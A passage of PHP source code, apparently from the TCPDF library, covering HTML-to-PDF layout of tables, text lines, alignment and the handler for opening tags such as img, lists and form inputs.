($trwsp['endcolumn'] == $dom[$trid]['endcolumn'])) { // set ending Y position for row $dom[$table_el]['rowspans'][$rsk]['endy'] = max($dom[$trid]['endy'], $trwsp['endy']); $dom[$trid]['endy'] = $dom[$table_el]['rowspans'][$rsk]['endy']; } $rsk = 0; } else { ++$rsk; } } } if (isset($dom[$parentid]['width'])) { // user specified width $cellw = $this->getHTMLUnitToUnits($dom[$parentid]['width'], $table_columns_width, 'px'); $tmpcw = ($cellw / $colspan); for ($i = 0; $i < $colspan; ++$i) { $table_colwidths[($colid + $i)] = $tmpcw; } } else { // inherit column width $cellw = 0; for ($i = 0; $i < $colspan; ++$i) { $cellw += $table_colwidths[($colid + $i)]; } } $cellw += (($colspan - 1) * $cellspacing['H']); // increment column indicator $colid += $colspan; // add rowspan information to table element if ($rowspan > 1) { $trsid = array_push($dom[$table_el]['rowspans'], array('trid' => $trid, 'rowspan' => $rowspan, 'mrowspan' => $rowspan, 'colspan' => $colspan, 'startpage' => $this->page, 'startcolumn' => $this->current_column, 'startx' => $this->x, 'starty' => $this->y)); } $cellid = array_push($dom[$trid]['cellpos'], array('startx' => $this->x)); if ($rowspan > 1) { $dom[$trid]['cellpos'][($cellid - 1)]['rowspanid'] = ($trsid - 1); } // push background colors if (isset($dom[$parentid]['bgcolor']) AND ($dom[$parentid]['bgcolor'] !== false)) { $dom[$trid]['cellpos'][($cellid - 1)]['bgcolor'] = $dom[$parentid]['bgcolor']; } // store border info if (isset($tdborder) AND !empty($tdborder)) { $dom[$trid]['cellpos'][($cellid - 1)]['border'] = $tdborder; } $prevLastH = $this->lasth; // store some info for multicolumn mode if ($this->rtl) { $this->colxshift['x'] = $this->w - $this->x - $this->rMargin; } else { $this->colxshift['x'] = $this->x - $this->lMargin; } $this->colxshift['s'] = $cellspacing; $this->colxshift['p'] = $current_cell_padding; // ****** write the cell content ****** $this->MultiCell($cellw, $cellh, $cell_content, false, $lalign, false, 2, '', '', true, 0, true, true, 0, 'T', false); // restore some values $this->colxshift = array('x' => 0, 's' => array('H' => 0, 'V' => 0), 'p' => array('L' => 0, 'T' => 0, 'R' => 0, 'B' => 0)); $this->lasth = $prevLastH; $this->cell_padding = $old_cell_padding; $dom[$trid]['cellpos'][($cellid - 1)]['endx'] = $this->x; // update the end of row position if ($rowspan <= 1) { if (isset($dom[$trid]['endy'])) { if (($this->page == $dom[$trid]['endpage']) AND ($this->current_column == $dom[$trid]['endcolumn'])) { $dom[$trid]['endy'] = max($this->y, $dom[$trid]['endy']); } elseif (($this->page > $dom[$trid]['endpage']) OR ($this->current_column > $dom[$trid]['endcolumn'])) { $dom[$trid]['endy'] = $this->y; } } else { $dom[$trid]['endy'] = $this->y; } if (isset($dom[$trid]['endpage'])) { $dom[$trid]['endpage'] = max($this->page, $dom[$trid]['endpage']); } else { $dom[$trid]['endpage'] = $this->page; } if (isset($dom[$trid]['endcolumn'])) { $dom[$trid]['endcolumn'] = max($this->current_column, $dom[$trid]['endcolumn']); } else { $dom[$trid]['endcolumn'] = $this->current_column; } } else { // account for row-spanned cells $dom[$table_el]['rowspans'][($trsid - 1)]['endx'] = $this->x; $dom[$table_el]['rowspans'][($trsid - 1)]['endy'] = $this->y; $dom[$table_el]['rowspans'][($trsid - 1)]['endpage'] = $this->page; $dom[$table_el]['rowspans'][($trsid - 1)]['endcolumn'] = $this->current_column; } if (isset($dom[$table_el]['rowspans'])) { // update endy and endpage on rowspanned cells foreach ($dom[$table_el]['rowspans'] as $k => $trwsp) { if ($trwsp['rowspan'] > 0) { if (isset($dom[$trid]['endpage'])) { if (($trwsp['endpage'] == $dom[$trid]['endpage']) AND ($trwsp['endcolumn'] == $dom[$trid]['endcolumn'])) { $dom[$table_el]['rowspans'][$k]['endy'] = max($dom[$trid]['endy'], $trwsp['endy']); } elseif (($trwsp['endpage'] < $dom[$trid]['endpage']) OR ($trwsp['endcolumn'] < $dom[$trid]['endcolumn'])) { $dom[$table_el]['rowspans'][$k]['endy'] = $dom[$trid]['endy']; $dom[$table_el]['rowspans'][$k]['endpage'] = $dom[$trid]['endpage']; $dom[$table_el]['rowspans'][$k]['endcolumn'] = $dom[$trid]['endcolumn']; } else { $dom[$trid]['endy'] = $this->pagedim[$dom[$trid]['endpage']]['hk'] - $this->pagedim[$dom[$trid]['endpage']]['bm']; } } } } } $this->x += ($cellspacingx / 2); } else { // opening tag (or self-closing tag) if (!isset($opentagpos)) { if ($this->inxobj) { // we are inside an XObject template $opentagpos = strlen($this->xobjects[$this->xobjid]['outdata']); } elseif (!$this->InFooter) { if (isset($this->footerlen[$this->page])) { $this->footerpos[$this->page] = $this->pagelen[$this->page] - $this->footerlen[$this->page]; } else { $this->footerpos[$this->page] = $this->pagelen[$this->page]; } $opentagpos = $this->footerpos[$this->page]; } } $dom = $this->openHTMLTagHandler($dom, $key, $cell); } } else { // closing tag $prev_numpages = $this->numpages; $old_bordermrk = $this->bordermrk[$this->page]; $dom = $this->closeHTMLTagHandler($dom, $key, $cell, $maxbottomliney); if ($this->bordermrk[$this->page] > $old_bordermrk) { $startlinepos += ($this->bordermrk[$this->page] - $old_bordermrk); } if ($prev_numpages > $this->numpages) { $startlinepage = $this->page; } } } elseif (strlen($dom[$key]['value']) > 0) { // print list-item if (!$this->empty_string($this->lispacer) AND ($this->lispacer != '^')) { $this->SetFont($pfontname, $pfontstyle, $pfontsize); $this->resetLastH(); $minstartliney = $this->y; $maxbottomliney = ($startliney + ($this->FontSize * $this->cell_height_ratio)); $this->putHtmlListBullet($this->listnum, $this->lispacer, $pfontsize); $this->SetFont($curfontname, $curfontstyle, $curfontsize); $this->resetLastH(); if (is_numeric($pfontsize) AND ($pfontsize > 0) AND is_numeric($curfontsize) AND ($curfontsize > 0) AND ($pfontsize != $curfontsize)) { $pfontascent = $this->getFontAscent($pfontname, $pfontstyle, $pfontsize); $pfontdescent = $this->getFontDescent($pfontname, $pfontstyle, $pfontsize); $this->y += ((($pfontsize - $curfontsize) * $this->cell_height_ratio / $this->k) + $pfontascent - $curfontascent - $pfontdescent + $curfontdescent) / 2; $minstartliney = min($this->y, $minstartliney); $maxbottomliney = max(($this->y + (($pfontsize * $this->cell_height_ratio) / $this->k)), $maxbottomliney); } } // text $this->htmlvspace = 0; if ((!$this->premode) AND $this->isRTLTextDir()) { // reverse spaces order $lsp = ''; // left spaces $rsp = ''; // right spaces if (preg_match('/^('.$this->re_space['p'].'+)/'.$this->re_space['m'], $dom[$key]['value'], $matches)) { $lsp = $matches[1]; } if (preg_match('/('.$this->re_space['p'].'+)$/'.$this->re_space['m'], $dom[$key]['value'], $matches)) { $rsp = $matches[1]; } $dom[$key]['value'] = $rsp.$this->stringTrim($dom[$key]['value']).$lsp; } if ($newline) { if (!$this->premode) { $prelen = strlen($dom[$key]['value']); if ($this->isRTLTextDir()) { // right trim except non-breaking space $dom[$key]['value'] = $this->stringRightTrim($dom[$key]['value']); } else { // left trim except non-breaking space $dom[$key]['value'] = $this->stringLeftTrim($dom[$key]['value']); } $postlen = strlen($dom[$key]['value']); if (($postlen == 0) AND ($prelen > 0)) { $dom[$key]['trimmed_space'] = true; } } $newline = false; $firstblock = true; } else { $firstblock = false; // replace empty multiple spaces string with a single space $dom[$key]['value'] = preg_replace('/^'.$this->re_space['p'].'+$/'.$this->re_space['m'], chr(32), $dom[$key]['value']); } $strrest = ''; if ($this->rtl) { $this->x -= $this->textindent; } else { $this->x += $this->textindent; } if (!isset($dom[$key]['trimmed_space']) OR !$dom[$key]['trimmed_space']) { $strlinelen = $this->GetStringWidth($dom[$key]['value']); if (!empty($this->HREF) AND (isset($this->HREF['url']))) { // HTML <a> Link $hrefcolor = ''; if (isset($dom[($dom[$key]['parent'])]['fgcolor']) AND ($dom[($dom[$key]['parent'])]['fgcolor'] !== false)) { $hrefcolor = $dom[($dom[$key]['parent'])]['fgcolor']; } $hrefstyle = -1; if (isset($dom[($dom[$key]['parent'])]['fontstyle']) AND ($dom[($dom[$key]['parent'])]['fontstyle'] !== false)) { $hrefstyle = $dom[($dom[$key]['parent'])]['fontstyle']; } $strrest = $this->addHtmlLink($this->HREF['url'], $dom[$key]['value'], $wfill, true, $hrefcolor, $hrefstyle, true); } else { $wadj = 0; // space to leave for block continuity if ($this->rtl) { $cwa = ($this->x - $this->lMargin); } else { $cwa = ($this->w - $this->rMargin - $this->x); } if (($strlinelen < $cwa) AND (isset($dom[($key + 1)])) AND ($dom[($key + 1)]['tag']) AND (!$dom[($key + 1)]['block'])) { // check the next text blocks for continuity $nkey = ($key + 1); $write_block = true; $same_textdir = true; $tmp_fontname = $this->FontFamily; $tmp_fontstyle = $this->FontStyle; $tmp_fontsize = $this->FontSizePt; while ($write_block AND isset($dom[$nkey])) { if ($dom[$nkey]['tag']) { if ($dom[$nkey]['block']) { // end of block $write_block = false; } $tmp_fontname = isset($dom[$nkey]['fontname']) ? $dom[$nkey]['fontname'] : $this->FontFamily; $tmp_fontstyle = isset($dom[$nkey]['fontstyle']) ? $dom[$nkey]['fontstyle'] : $this->FontStyle; $tmp_fontsize = isset($dom[$nkey]['fontsize']) ? $dom[$nkey]['fontsize'] : $this->FontSizePt; $same_textdir = ($dom[$nkey]['dir'] == $dom[$key]['dir']); } else { $nextstr = preg_split('/'.$this->re_space['p'].'+/'.$this->re_space['m'], $dom[$nkey]['value']); if (isset($nextstr[0]) AND $same_textdir) { $wadj += $this->GetStringWidth($nextstr[0], $tmp_fontname, $tmp_fontstyle, $tmp_fontsize); if (isset($nextstr[1])) { $write_block = false; } } } ++$nkey; } } if (($wadj > 0) AND (($strlinelen + $wadj) >= $cwa)) { $wadj = 0; $nextstr = preg_split('/'.$this->re_space['p'].'/'.$this->re_space['m'], $dom[$key]['value']); $numblks = count($nextstr); if ($numblks > 1) { // try to split on blank spaces $wadj = ($cwa - $strlinelen + $this->GetStringWidth($nextstr[($numblks - 1)])); } else { // set the entire block on new line $wadj = $this->GetStringWidth($nextstr[0]); } } // check for reversed text direction if (($wadj > 0) AND (($this->rtl AND ($this->tmprtl === 'L')) OR (!$this->rtl AND ($this->tmprtl === 'R')))) { // LTR text on RTL direction or RTL text on LTR direction $reverse_dir = true; $this->rtl = !$this->rtl; $revshift = ($strlinelen + $wadj + 0.000001); // add little quantity for rounding problems if ($this->rtl) { $this->x += $revshift; } else { $this->x -= $revshift; } $xws = $this->x; } // ****** write only until the end of the line and get the rest ****** $strrest = $this->Write($this->lasth, $dom[$key]['value'], '', $wfill, '', false, 0, true, $firstblock, 0, $wadj); // restore default direction if ($reverse_dir AND ($wadj == 0)) { $this->x = $xws; $this->rtl = !$this->rtl; $reverse_dir = false; } } } $this->textindent = 0; if (strlen($strrest) > 0) { // store the remaining string on the previous $key position $this->newline = true; if ($strrest == $dom[$key]['value']) { // used to avoid infinite loop ++$loop; } else { $loop = 0; } $dom[$key]['value'] = $strrest; if ($cell) { if ($this->rtl) { $this->x -= $this->cell_padding['R']; } else { $this->x += $this->cell_padding['L']; } } if ($loop < 3) { --$key; } } else { $loop = 0; // add the positive font spacing of the last character (if any) if ($this->font_spacing > 0) { if ($this->rtl) { $this->x -= $this->font_spacing; } else { $this->x += $this->font_spacing; } } } } ++$key; if (isset($dom[$key]['tag']) AND $dom[$key]['tag'] AND (!isset($dom[$key]['opening']) OR !$dom[$key]['opening']) AND isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr'] == 'true')) { // check if we are on a new page or on a new column if ((!$undo) AND (($this->y < $this->start_transaction_y) OR (($dom[$key]['value'] == 'tr') AND ($dom[($dom[$key]['parent'])]['endy'] < $this->start_transaction_y)))) { // we are on a new page or on a new column and the total object height is less than the available vertical space. // restore previous object $this->rollbackTransaction(true); // restore previous values foreach ($this_method_vars as $vkey => $vval) { $$vkey = $vval; } // add a page (or trig AcceptPageBreak() for multicolumn mode) $pre_y = $this->y; if ((!$this->checkPageBreak($this->PageBreakTrigger + 1)) AND ($this->y < $pre_y)) { $startliney = $this->y; } $undo = true; // avoid infinite loop } else { $undo = false; } } } // end for each $key // align the last line if (isset($startlinex)) { $yshift = ($minstartliney - $startliney); if (($yshift > 0) OR ($this->page > $startlinepage)) { $yshift = 0; } $t_x = 0; // the last line must be shifted to be aligned as requested $linew = abs($this->endlinex - $startlinex); if ($this->inxobj) { // we are inside an XObject template $pstart = substr($this->xobjects[$this->xobjid]['outdata'], 0, $startlinepos); if (isset($opentagpos)) { $midpos = $opentagpos; } else { $midpos = 0; } if ($midpos > 0) { $pmid = substr($this->xobjects[$this->xobjid]['outdata'], $startlinepos, ($midpos - $startlinepos)); $pend = substr($this->xobjects[$this->xobjid]['outdata'], $midpos); } else { $pmid = substr($this->xobjects[$this->xobjid]['outdata'], $startlinepos); $pend = ''; } } else { $pstart = substr($this->getPageBuffer($startlinepage), 0, $startlinepos); if (isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)) { $this->footerpos[$startlinepage] = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; $midpos = min($opentagpos, $this->footerpos[$startlinepage]); } elseif (isset($opentagpos)) { $midpos = $opentagpos; } elseif (isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)) { $this->footerpos[$startlinepage] = $this->pagelen[$startlinepage] - $this->footerlen[$startlinepage]; $midpos = $this->footerpos[$startlinepage]; } else { $midpos = 0; } if ($midpos > 0) { $pmid = substr($this->getPageBuffer($startlinepage), $startlinepos, ($midpos - $startlinepos)); $pend = substr($this->getPageBuffer($startlinepage), $midpos); } else { $pmid = substr($this->getPageBuffer($startlinepage), $startlinepos); $pend = ''; } } if ((isset($plalign) AND ((($plalign == 'C') OR (($plalign == 'R') AND (!$this->rtl)) OR (($plalign == 'L') AND ($this->rtl)))))) { // calculate shifting amount $tw = $w; if ($this->lMargin != $prevlMargin) { $tw += ($prevlMargin - $this->lMargin); } if ($this->rMargin != $prevrMargin) { $tw += ($prevrMargin - $this->rMargin); } $one_space_width = $this->GetStringWidth(chr(32)); $no = 0; // number of spaces on a line contained on a single block if ($this->isRTLTextDir()) { // RTL // remove left space if exist $pos1 = $this->revstrpos($pmid, '[('); if ($pos1 > 0) { $pos1 = intval($pos1); if ($this->isUnicodeFont()) { $pos2 = intval($this->revstrpos($pmid, '[('.chr(0).chr(32))); $spacelen = 2; } else { $pos2 = intval($this->revstrpos($pmid, '[('.chr(32))); $spacelen = 1; } if ($pos1 == $pos2) { $pmid = substr($pmid, 0, ($pos1 + 2)).substr($pmid, ($pos1 + 2 + $spacelen)); if (substr($pmid, $pos1, 4) == '[()]') { $linew -= $one_space_width; } elseif ($pos1 == strpos($pmid, '[(')) { $no = 1; } } } } else { // LTR // remove right space if exist $pos1 = $this->revstrpos($pmid, ')]'); if ($pos1 > 0) { $pos1 = intval($pos1); if ($this->isUnicodeFont()) { $pos2 = intval($this->revstrpos($pmid, chr(0).chr(32).')]')) + 2; $spacelen = 2; } else { $pos2 = intval($this->revstrpos($pmid, chr(32).')]')) + 1; $spacelen = 1; } if ($pos1 == $pos2) { $pmid = substr($pmid, 0, ($pos1 - $spacelen)).substr($pmid, $pos1); $linew -= $one_space_width; } } } $mdiff = ($tw - $linew); if ($plalign == 'C') { if ($this->rtl) { $t_x = -($mdiff / 2); } else { $t_x = ($mdiff / 2); } } elseif ($plalign == 'R') { // right alignment on LTR document $t_x = $mdiff; } elseif ($plalign == 'L') { // left alignment on RTL document $t_x = -$mdiff; } } // end if startlinex if (($t_x != 0) OR ($yshift < 0)) { // shift the line $trx = sprintf('1 0 0 1 %F %F cm', ($t_x * $this->k), ($yshift * $this->k)); $pstart .= "\nq\n".$trx."\n".$pmid."\nQ\n"; $endlinepos = strlen($pstart); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['outdata'] = $pstart.$pend; foreach ($this->xobjects[$this->xobjid]['annotations'] as $pak => $pac) { if ($pak >= $pask) { $this->xobjects[$this->xobjid]['annotations'][$pak]['x'] += $t_x; $this->xobjects[$this->xobjid]['annotations'][$pak]['y'] -= $yshift; } } } else { $this->setPageBuffer($startlinepage, $pstart.$pend); // shift the annotations and links if (isset($this->PageAnnots[$this->page])) { foreach ($this->PageAnnots[$this->page] as $pak => $pac) { if ($pak >= $pask) { $this->PageAnnots[$this->page][$pak]['x'] += $t_x; $this->PageAnnots[$this->page][$pak]['y'] -= $yshift; } } } } $this->y -= $yshift; $yshift = 0; } } // restore previous values $this->setGraphicVars($gvars); if ($this->num_columns > 1) { $this->selectColumn(); } elseif ($this->page > $prevPage) { $this->lMargin = $this->pagedim[$this->page]['olm']; $this->rMargin = $this->pagedim[$this->page]['orm']; } // restore previous list state $this->cell_height_ratio = $prev_cell_height_ratio; $this->listnum = $prev_listnum; $this->listordered = $prev_listordered; $this->listcount = $prev_listcount; $this->lispacer = $prev_lispacer; if ($ln AND (!($cell AND ($dom[$key-1]['value'] == 'table')))) { $this->Ln($this->lasth); if ($this->y < $maxbottomliney) { $this->y = $maxbottomliney; } } unset($dom); } /** * Process opening tags. * @param $dom (array) html dom array * @param $key (int) current element id * @param $cell (boolean) if true add the default left (or right if RTL) padding to each new line (default false). * @return $dom array * @protected */ protected function openHTMLTagHandler($dom, $key, $cell) { $tag = $dom[$key]; $parent = $dom[($dom[$key]['parent'])]; $firsttag = ($key == 1); // check for text direction attribute if (isset($tag['dir'])) { $this->setTempRTL($tag['dir']); } else { $this->tmprtl = false; } if ($tag['block']) { $hbz = 0; // distance from y to line bottom $hb = 0; // vertical space between block tags // calculate vertical space for block tags if (isset($this->tagvspaces[$tag['value']][0]['h']) AND ($this->tagvspaces[$tag['value']][0]['h'] >= 0)) { $cur_h = $this->tagvspaces[$tag['value']][0]['h']; } elseif (isset($tag['fontsize'])) { $cur_h = ($tag['fontsize'] / $this->k) * $this->cell_height_ratio; } else { $cur_h = $this->FontSize * $this->cell_height_ratio; } if (isset($this->tagvspaces[$tag['value']][0]['n'])) { $n = $this->tagvspaces[$tag['value']][0]['n']; } elseif (preg_match('/[h][0-9]/', $tag['value']) > 0) { $n = 0.6; } else { $n = 1; } if ((!isset($this->tagvspaces[$tag['value']])) AND (in_array($tag['value'], array('div', 'dt', 'dd', 'li', 'br')))) { $hb = 0; } else { $hb = ($n * $cur_h); } if (($this->htmlvspace <= 0) AND ($n > 0)) { if (isset($parent['fontsize'])) { $hbz = (($parent['fontsize'] / $this->k) * $this->cell_height_ratio); } else { $hbz = $this->FontSize * $this->cell_height_ratio; } } if (isset($dom[($key - 1)]) AND ($dom[($key - 1)]['value'] == 'table')) { // fix vertical space after table $hbz = 0; } } // Opening tag switch($tag['value']) { case 'table': { $cp = 0; $cs = 0; $dom[$key]['rowspans'] = array(); if (!isset($dom[$key]['attribute']['nested']) OR ($dom[$key]['attribute']['nested'] != 'true')) { $this->htmlvspace = 0; // set table header if (!$this->empty_string($dom[$key]['thead'])) { // set table header $this->thead = $dom[$key]['thead']; if (!isset($this->theadMargins) OR (empty($this->theadMargins))) { $this->theadMargins = array(); $this->theadMargins['cell_padding'] = $this->cell_padding; $this->theadMargins['lmargin'] = $this->lMargin; $this->theadMargins['rmargin'] = $this->rMargin; $this->theadMargins['page'] = $this->page; $this->theadMargins['cell'] = $cell; } } } // store current margins and page $dom[$key]['old_cell_padding'] = $this->cell_padding; if (isset($tag['attribute']['cellpadding'])) { $pad = $this->getHTMLUnitToUnits($tag['attribute']['cellpadding'], 1, 'px'); $this->SetCellPadding($pad); } elseif (isset($tag['padding'])) { $this->cell_padding = $tag['padding']; } if (isset($tag['attribute']['cellspacing'])) { $cs = $this->getHTMLUnitToUnits($tag['attribute']['cellspacing'], 1, 'px'); } elseif (isset($tag['border-spacing'])) { $cs = $tag['border-spacing']['V']; } $prev_y = $this->y; if ($this->checkPageBreak(((2 * $cp) + (2 * $cs) + $this->lasth), '', false) OR ($this->y < $prev_y)) { $this->inthead = true; // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } break; } case 'tr': { // array of columns positions $dom[$key]['cellpos'] = array(); break; } case 'hr': { if ((isset($tag['height'])) AND ($tag['height'] != '')) { $hrHeight = $this->getHTMLUnitToUnits($tag['height'], 1, 'px'); } else { $hrHeight = $this->GetLineWidth(); } $this->addHTMLVertSpace($hbz, ($hrHeight / 2), $cell, $firsttag); $x = $this->GetX(); $y = $this->GetY(); $wtmp = $this->w - $this->lMargin - $this->rMargin; if ($cell) { $wtmp -= ($this->cell_padding['L'] + $this->cell_padding['R']); } if ((isset($tag['width'])) AND ($tag['width'] != '')) { $hrWidth = $this->getHTMLUnitToUnits($tag['width'], $wtmp, 'px'); } else { $hrWidth = $wtmp; } $prevlinewidth = $this->GetLineWidth(); $this->SetLineWidth($hrHeight); $this->Line($x, $y, $x + $hrWidth, $y); $this->SetLineWidth($prevlinewidth); $this->addHTMLVertSpace(($hrHeight / 2), 0, $cell, !isset($dom[($key + 1)])); break; } case 'a': { if (array_key_exists('href', $tag['attribute'])) { $this->HREF['url'] = $tag['attribute']['href']; } break; } case 'img': { if (isset($tag['attribute']['src'])) { if ($tag['attribute']['src']{0} === '@') { // data stream $tag['attribute']['src'] = '@'.base64_decode(substr($tag['attribute']['src'], 1)); $type = ''; } else { // check for images without protocol if (preg_match('%^/{2}%', $tag['attribute']['src'])) { $tag['attribute']['src'] = 'http:'.$tag['attribute']['src']; } // replace relative path with real server path if (($tag['attribute']['src'][0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { $findroot = strpos($tag['attribute']['src'], $_SERVER['DOCUMENT_ROOT']); if (($findroot === false) OR ($findroot > 1)) { if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') { $tag['attribute']['src'] = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$tag['attribute']['src']; } else { $tag['attribute']['src'] = $_SERVER['DOCUMENT_ROOT'].$tag['attribute']['src']; } } } $tag['attribute']['src'] = htmlspecialchars_decode(urldecode($tag['attribute']['src'])); $type = $this->getImageFileType($tag['attribute']['src']); $testscrtype = @parse_url($tag['attribute']['src']); if (!isset($testscrtype['query']) OR empty($testscrtype['query'])) { // convert URL to server path $tag['attribute']['src'] = str_replace(K_PATH_URL, K_PATH_MAIN, $tag['attribute']['src']); } } if (!isset($tag['width'])) { $tag['width'] = 0; } if (!isset($tag['height'])) { $tag['height'] = 0; } //if (!isset($tag['attribute']['align'])) { // the only alignment supported is "bottom" // further development is required for other modes. $tag['attribute']['align'] = 'bottom'; //} switch($tag['attribute']['align']) { case 'top': { $align = 'T'; break; } case 'middle': { $align = 'M'; break; } case 'bottom': { $align = 'B'; break; } default: { $align = 'B'; break; } } $prevy = $this->y; $xpos = $this->x; $imglink = ''; if (isset($this->HREF['url']) AND !$this->empty_string($this->HREF['url'])) { $imglink = $this->HREF['url']; if ($imglink{0} == '#') { // convert url to internal link $lnkdata = explode(',', $imglink); if (isset($lnkdata[0])) { $page = intval(substr($lnkdata[0], 1)); if (empty($page) OR ($page <= 0)) { $page = $this->page; } if (isset($lnkdata[1]) AND (strlen($lnkdata[1]) > 0)) { $lnky = floatval($lnkdata[1]); } else { $lnky = 0; } $imglink = $this->AddLink(); $this->SetLink($imglink, $lnky, $page); } } } $border = 0; if (isset($tag['border']) AND !empty($tag['border'])) { // currently only support 1 (frame) or a combination of 'LTRB' $border = $tag['border']; } $iw = ''; if (isset($tag['width'])) { $iw = $this->getHTMLUnitToUnits($tag['width'], 1, 'px', false); } $ih = ''; if (isset($tag['height'])) { $ih = $this->getHTMLUnitToUnits($tag['height'], 1, 'px', false); } if (($type == 'eps') OR ($type == 'ai')) { $this->ImageEps($tag['attribute']['src'], $xpos, $this->y, $iw, $ih, $imglink, true, $align, '', $border, true); } elseif ($type == 'svg') { $this->ImageSVG($tag['attribute']['src'], $xpos, $this->y, $iw, $ih, $imglink, $align, '', $border, true); } else { $this->Image($tag['attribute']['src'], $xpos, $this->y, $iw, $ih, '', $imglink, $align, false, 300, '', false, false, $border, false, false, true); } switch($align) { case 'T': { $this->y = $prevy; break; } case 'M': { $this->y = (($this->img_rb_y + $prevy - ($tag['fontsize'] / $this->k)) / 2) ; break; } case 'B': { $this->y = $this->img_rb_y - ($tag['fontsize'] / $this->k); break; } } } break; } case 'dl': { ++$this->listnum; if ($this->listnum == 1) { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); } else { $this->addHTMLVertSpace(0, 0, $cell, $firsttag); } break; } case 'dt': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'dd': { if ($this->rtl) { $this->rMargin += $this->listindent; } else { $this->lMargin += $this->listindent; } ++$this->listindentlevel; $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'ul': case 'ol': { ++$this->listnum; if ($tag['value'] == 'ol') { $this->listordered[$this->listnum] = true; } else { $this->listordered[$this->listnum] = false; } if (isset($tag['attribute']['start'])) { $this->listcount[$this->listnum] = intval($tag['attribute']['start']) - 1; } else { $this->listcount[$this->listnum] = 0; } if ($this->rtl) { $this->rMargin += $this->listindent; $this->x -= $this->listindent; } else { $this->lMargin += $this->listindent; $this->x += $this->listindent; } ++$this->listindentlevel; if ($this->listnum == 1) { if ($key > 1) { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); } } else { $this->addHTMLVertSpace(0, 0, $cell, $firsttag); } break; } case 'li': { if ($key > 2) { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); } if ($this->listordered[$this->listnum]) { // ordered item if (isset($parent['attribute']['type']) AND !$this->empty_string($parent['attribute']['type'])) { $this->lispacer = $parent['attribute']['type']; } elseif (isset($parent['listtype']) AND !$this->empty_string($parent['listtype'])) { $this->lispacer = $parent['listtype']; } elseif (isset($this->lisymbol) AND !$this->empty_string($this->lisymbol)) { $this->lispacer = $this->lisymbol; } else { $this->lispacer = '#'; } ++$this->listcount[$this->listnum]; if (isset($tag['attribute']['value'])) { $this->listcount[$this->listnum] = intval($tag['attribute']['value']); } } else { // unordered item if (isset($parent['attribute']['type']) AND !$this->empty_string($parent['attribute']['type'])) { $this->lispacer = $parent['attribute']['type']; } elseif (isset($parent['listtype']) AND !$this->empty_string($parent['listtype'])) { $this->lispacer = $parent['listtype']; } elseif (isset($this->lisymbol) AND !$this->empty_string($this->lisymbol)) { $this->lispacer = $this->lisymbol; } else { $this->lispacer = '!'; } } break; } case 'blockquote': { if ($this->rtl) { $this->rMargin += $this->listindent; } else { $this->lMargin += $this->listindent; } ++$this->listindentlevel; $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'br': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'div': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'p': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } case 'pre': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); $this->premode = true; break; } case 'sup': { $this->SetXY($this->GetX(), $this->GetY() - ((0.7 * $this->FontSizePt) / $this->k)); break; } case 'sub': { $this->SetXY($this->GetX(), $this->GetY() + ((0.3 * $this->FontSizePt) / $this->k)); break; } case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': { $this->addHTMLVertSpace($hbz, $hb, $cell, $firsttag); break; } // Form fields (since 4.8.000 - 2009-09-07) case 'form': { if (isset($tag['attribute']['action'])) { $this->form_action = $tag['attribute']['action']; } else { $this->form_action = K_PATH_URL.$_SERVER['SCRIPT_NAME']; } if (isset($tag['attribute']['enctype'])) { $this->form_enctype = $tag['attribute']['enctype']; } else { $this->form_enctype = 'application/x-www-form-urlencoded'; } if (isset($tag['attribute']['method'])) { $this->form_mode = $tag['attribute']['method']; } else { $this->form_mode = 'post'; } break; } case 'input': { if (isset($tag['attribute']['name']) AND !$this->empty_string($tag['attribute']['name'])) { $name = $tag['attribute']['name']; } else { break; } $prop = array(); $opt = array(); if (isset($tag['attribute']['readonly']) AND !$this->empty_string($tag['attribute']['readonly'])) { $prop['readonly'] = true; } if (isset($tag['attribute']['value']) AND !$this->empty_string($tag['attribute']['value'])) { $value = $tag['attribute']['value']; } if (isset($tag['attribute']['maxlength']) AND !$this->empty_string($tag['attribute']['maxlength'])) { $opt['maxlen'] = intval($tag['attribute']['maxlength']); } $h = $this->FontSize * $this->cell_height_ratio; if (isset($tag['attribute']['size']) AND !$this->empty_string($tag['attribute']['size'])) { $w = intval($tag['attribute']['size']) * $this->GetStringWidth(chr(32)) * 2; } else { $w = $h; } if (isset($tag['attribute']['checked']) AND (($tag['attribute']['checked'] == 'checked') OR ($tag['attribute']['checked'] == 'true'))) { $checked = true; } else { $checked = false; } if (isset($tag['align'])) { switch ($tag['align']) { case 'C': { $opt['q'] = 1; break; } case 'R': { $opt['q'] = 2; break; } case 'L': default: { break; } } } switch ($tag['attribute']['type']) { case 'text': { if (isset($value)) { $opt['v'] = $value; } $this->TextField($name, $w, $h, $prop, $opt, '', '', false); break; } case 'password': { if (isset($value)) { $opt['v'] = $value; } $prop['password'] = 'true'; $this->TextField($name, $w, $h, $prop, $opt, '', '', false); break; } case 'checkbox': { if (!isset($value)) { break; } $this->CheckBox($name, $w, $checked, $prop, $opt, $value, '', '', false); break; } case 'radio': { if (!isset($value)) { break; } $this->RadioButton($name, $w, $prop, $opt, $value, $checked, '', '', false); break; } case 'submit': { if (!isset($value)) { $value = 'submit'; } $w = $this->GetStringWidth($value) * 1.5; $h *= 1.6; $prop = array('lineWidth'=>1, 'borderStyle'=>'beveled', 'fillColor'=>array(196, 196, 196), 'strokeColor'=>array(255, 255, 255)); $action = array(); $action['S'] = 'SubmitForm'; $action['F'] = 